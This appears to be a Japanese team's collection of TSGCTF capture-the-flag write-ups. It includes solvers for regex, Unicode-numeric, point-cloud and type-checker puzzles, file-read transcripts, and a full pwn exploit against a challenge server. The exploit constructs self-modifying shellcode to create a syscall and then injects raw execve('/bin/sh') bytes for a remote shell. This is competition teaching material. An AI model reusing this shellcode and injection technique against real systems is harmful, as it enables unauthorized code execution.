^(.*)%7B -> \1(/
^(.*)_ -> \1)(/
^(.*)/\) -> \1)
残りのルール群を観察すると、TSGCTF(...)(/p1 p2 ... p2' p3)(...)
のような形のパスがあったときにp1~p3がそれぞれ以下の形のルールに対応していそうだと予想できる。
p1: \1hITB/
p2: \1(o)(q)(d)FCU/
p3: \1(r)(w)(d)/
p1~p3の組み合わせが正しければ、最初に示した^(.*)M\(m\) -> \1
から始まるルール群によって置換されていき最終的にp1の小文字のアルファベットのみが残る。
以上から、正しいp1~p3の組み合わせを求めるソルバーを書くとフラグが得られた。
def parse_rules():
rules = []
with open('compose.yml', 'r') as f:
for line in f:
if 'pattern' in line:
pat = line.split('"')[1].split('"')[0].replace('\\\\', '\\')
elif 'substitution' in line:
sub = line.split('"')[1].split('"')[0].replace('\\\\', '\\')
rules.append((pat, sub))
return rules
def extract_key(sub, idx):
return f'({sub[idx+2]})({sub[idx+1]})({sub[idx]})'.lower()
def find_stage1(rules):
for pat, sub in rules:
if '(' not in sub and len(sub) >= 3 and sub[2] in 'tsgctf':
key = extract_key(sub, 3)
find_stage2(key, {key}, sub[2], pat.split('/')[1], rules)
def find_stage2(current_key, visited_keys, top, flag, rules):
for pat, sub in rules:
if current_key in sub:
if ')/' in sub:
parts[top] = (flag + pat.split('/')[1]).replace(' ', '').replace('\\', '')
else:
next_key = extract_key(sub, 11)
if next_key not in visited_keys:
find_stage2(next_key, visited_keys | {next_key}, top, flag + pat.split('/')[1], rules)
parts = {}
rules = parse_rules()
find_stage1(rules)
flag = '_'.join([parts[c] for c in 'tsgctf'[::-1]])
print(f'TSGCTF{{{flag}}}')
1. load_file
2. read
3. bye
choice > 1
index > 1
filename > flag
Read 22 bytes.
1. load_file
2. read
3. bye
choice > 1
index > 2
filename > flag
1. load_file
2. read
3. bye
choice > 2
index > 2
content: TSGCTF{!7esuVVz2n@!Fm}
import bisect
from collections import defaultdict
from itertools import product
import json
import pickle
from unicodedata import numeric
from tqdm import tqdm
print("[+] extracting numerics...")
b1 = {}
for i in range(0x110000):
if not chr(i).isnumeric(): continue
try:
a = numeric(chr(i))
if a not in b1:
b1[a] = chr(i)
except:
pass
print("numerics:", [*sorted(b1.keys())])
b2, b3, b4, b5 = {}, {}, {}, {}
bucket = { 1: b1, 2: b2, 3: b3, 4: b4, 5: b5 }
def add(i: int, x: float, s: str):
if x in bucket[i]: return
bucket[i][x] = s
print("[+] generating...")
for i in [2,3]:
for p in product(*([list(b1.keys())] * i)):
x = 0.
for c in p: x = 10 * x + c
add(i, x, "".join([b1[c] for c in p]))
key3 = list(bucket[3].keys()); key3.sort()
numbers = {}
for c1, v1 in tqdm(bucket[2].items()):
if 12346 <= c1: continue
l, r = 12345678 - c1 * 1000, 12345778 - c1 * 1000
lind, rind = bisect.bisect(key3, l), bisect.bisect(key3, r)
for i in range(lind, rind):
c2 = key3[i]
v2 = bucket[3][c2]
c, v = c1 * 1000 + c2, v1 + v2
numbers[int(c)] = v
from pwn import *
s = b""
i = 12345678
while True:
stream = remote("34.146.186.1", 53117)
stream.sendline(numbers[i])
c = stream.recvline().split()[-1]
if c == b'*': break
s += c
i += 1
print(s, c)
stream.close()
1. load_file
2. read
3. bye
choice > 1
index > 0
filename > /var/lib/dpkg/info/libdb5.3t64:amd64.shlibs
Read 22 bytes.
1. load_file
2. read
3. bye
choice > 1
index > 0
filename > flag
Read 22 bytes.
content: TSGCTF{hQAz-yXc6fLoyK}
Overwrite loaded file? (y/n) >
Author: zatsu
stack上にshellcodeの開始位置へのアドレスが存在するため、pop r9
等の命令を用いてstack addressを得られる。
payload内の適当な位置に \x0d\x05
を入力しておき、そこに add r5 0x02; mov r11, r15; add rdx, r11
のような命令を用いて2を加算して \x0f\05
(syscall
) を作る。
その後、適切にレジスタを設定して read(0, shellcode addr + x, y)
を呼び出し、read
での入力でshellcodeを注入することでshellが得られた。
from ptrlib import *
# p = Process(['./prime_shellcode'])
p = Socket('34.146.186.1', 42333)
payload = b''
def c(x):
length = 0
y = x
while y > 0:
y >>= 8
length += 1
return [(x >> (length * 8 - i - 8)) & 0xff for i in range(0, length * 8, 8)]
payload = [2, 2, 2]
payload += [89, 89] # pop rcx * n
# まずはどうにかしてstack addressを移す
payload += c(0x4359) # pop r9
payload += c(0x4f8be9) # mov r13, r9
payload += c(0x67498be5) # mov rsp, r13
ofs = 0x100
for i in range(ofs // 8):
payload += c(0x4359) # pop rcx
# 494989e3: mov r11, rsp
payload += c(0x494989e3) # mov r11, rsp (これが 0xdfb のアドレス)
# 43498b13: mov rdx, qword ptr [r11]
payload += c(0x43498b13) # mov rdx, qword ptr [r11]
# 4983c725: add r15, 25
payload += c(0x4983c702)
# 4f89fb: mov r11, r15
payload += c(0x4f89fb)
# 674903d3: add rdx, r11
payload += c(0x674903d3)
# 4989d3: mov r11, rdx
payload += c(0x4989d3)
# 4353: push r11
payload += c(0x4353)
# ここまででsyscall用の命令セットができたので、レジスタを設定していく
# raxはdefaultで 0 (read) なので問題なし
# rdiも 0 (stdin) でよい
# rsi (buf) は rspの直後とかにする
# rdx (len) の設定も適当に
# 434f89e3: mov r11, r12
payload += c(0x434f89e3)
# 47b3fb: mov r11b, 0xfb
payload += c(0x47b3fb)
# 47498bd3: mov rdx, r11
payload += c(0x47498bd3)
# r11 += r15 してstack pointerをズラすので、そのためにr15を適当な8の倍数にする
# 現時点の r2 は 0x2 なので, ここから 0x100 にする
# 4983c77f: add r15, 0x7f
payload += c(0x4983c77f)
payload += c(0x4983c77f)
# syscallの引数は少し増やしてから渡す
# 434989e3: mov r11, rsp
payload += c(0x434989e3)
# 4f03df: add r11, r15
payload += c(0x4f03df)
# 4f4f8be3: mov r12, r11
payload += c(0x4f4f8be3)
# 474f89e5: mov r13, r12
payload += c(0x474f89e5)
# 494f89e9: mov r9, r13
payload += c(0x494f89e9)
# 49498bf1: mov rsi, r9
payload += c(0x49498bf1)
payload.extend(c(0x02c1) * ((ofs - len(payload)) // 2 - 10))
while len(payload) < ofs:
payload += [89] # dummy
assert len(payload) == ofs
print(ofs)
payload += c(0x0d05)
payload += [89] * 6
with open('payload', 'wb') as f:
print(payload)
payload = bytes(payload).ljust(0x1000, b'\x05')
f.write(payload)
p.sendafter(b':', payload)
p.send(b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05")
p.interactive()
import copy
import string
import numpy as np
import cv2
import open3d as o3d
from sklearn.decomposition import PCA
alphabet = string.ascii_uppercase + "{}_"
print(len(alphabet))
patchsize, shift = 64, 64
patches = np.zeros((len(alphabet)+1, patchsize, patchsize), np.uint8)
offset = 8
for i in range(len(alphabet)):
cv2.putText(patches[i], alphabet[i], (offset, patchsize-offset), cv2.FONT_HERSHEY_SIMPLEX, 2.0, 255, 4)
known_flag = "TSGCTF{_________________________________________________ROCESS}" # secret!
assert len(known_flag) == 63
radii = (len(known_flag) - 1) / 2
coords = np.load("orig.npy")
# 2. 平均を原点に移動(センタリング)
mean_coords = np.mean(coords, axis=0)
coords_centered = coords - mean_coords # shape: (N, 3)
# 3. PCA を適用し、主成分空間へマッピング
pca = PCA(n_components=3)
pca.fit(coords_centered)
coords = pca.transform(coords_centered) # shape: (N, 3)
# Rotate 90 degrees around the y-axis
theta = np.radians(-90)
c, s = np.cos(theta), np.sin(theta)
rotation_matrix = np.array([
[c, 0, s],
[0, 1, 0],
[-s, 0, c]
])
coords = coords @ rotation_matrix
charactors = 3
coords_target = []
for i in range(len(known_flag)):
if not (i < charactors or len(known_flag) - i <= charactors): continue
index = alphabet.index(known_flag[i])
img = patches[index]
xmap, ymap = np.meshgrid(np.arange(patchsize), np.arange(patchsize))
xs = xmap[np.where(img == 255)].astype(np.float32)[:, None]
ys = ymap[np.where(img == 255)].astype(np.float32)[:, None]
zs = np.full_like(xs, shift * (i - radii))
coords_target.append(np.concatenate([xs, ys, zs], axis=1))
coords_target = np.concatenate(coords_target, axis=0)
# extract "TSG ... xx}"
coords_orig = coords
coords_extracted = coords
coords_extracted = coords_extracted[
(coords[:, 2] <= 64 * (-32 + charactors)) |
(coords[:, 2] >= 64 * (32 - charactors - 1))
]
coords_extracted = coords_extracted[(coords_extracted[:, 0] ** 2 + coords_extracted[:, 1] ** 2) <= 36 ** 2]
pcd_orig = o3d.geometry.PointCloud()
pcd_orig.points = o3d.utility.Vector3dVector(coords_orig)
pcd_extracted = o3d.geometry.PointCloud()
pcd_extracted.points = o3d.utility.Vector3dVector(coords_extracted)
pcd_target = o3d.geometry.PointCloud()
pcd_target.points = o3d.utility.Vector3dVector(coords_target)
reg_result = o3d.pipelines.registration.registration_icp(
source=pcd_extracted,
target=pcd_target,
max_correspondence_distance=16,
init=np.eye(4),
estimation_method=o3d.pipelines.registration.TransformationEstimationPointToPoint(),
# criteria=o3d.pipelines.registration.ICPConvergenceCriteria(relative_fitness=0, relative_rmse=0, max_iteration=5000)
criteria=o3d.pipelines.registration.ICPConvergenceCriteria(relative_fitness=1e-1000, relative_rmse=1e-1000, max_iteration=5000)
)
print("Fitness (overlap ratio):", reg_result.fitness)
print("RMSE:", reg_result.inlier_rmse)
print("Transformation matrix:\n", reg_result.transformation)
transformation = reg_result.transformation
pcd_orig_transformed = pcd_orig.transform(transformation)
coords = np.asarray(pcd_orig_transformed.points)
coords[:, 1] = coords[:, 1] % 64
coords[:, 0] = coords[:, 0] % 64
# pcd = o3d.geometry.PointCloud()
# pcd.points = o3d.utility.Vector3dVector(coords)
# o3d.visualization.draw_geometries([pcd])
image_list = []
for i in range(64):
z_min = 64 * (-31.5 + i)
z_max = 64 * (-31.5 + i + 1)
subset = coords[(coords[:, 2] >= z_min) & (coords[:, 2] < z_max)]
img = np.zeros((64, 64), dtype=np.uint8)
x = subset[:, 0].astype(int)
y = subset[:, 1].astype(int)
img[y, x] = 255
image_list.append(img)
combined_image = np.hstack(image_list)
cv2.imwrite('res.png', combined_image)
let f:: x::Integer{x>1} -> Tot(res::Integer{res=0}) = \x -> (x-1) / x in
(if ((f 5) + (f 5)) > 1 then (flag 1) else (print 0))
__EOF__
Arata, いわんこ, kiona, keymoon, tsune, hiikunZ, みゃう, Rona, ryohz, Yu, yu1hpa, zatsu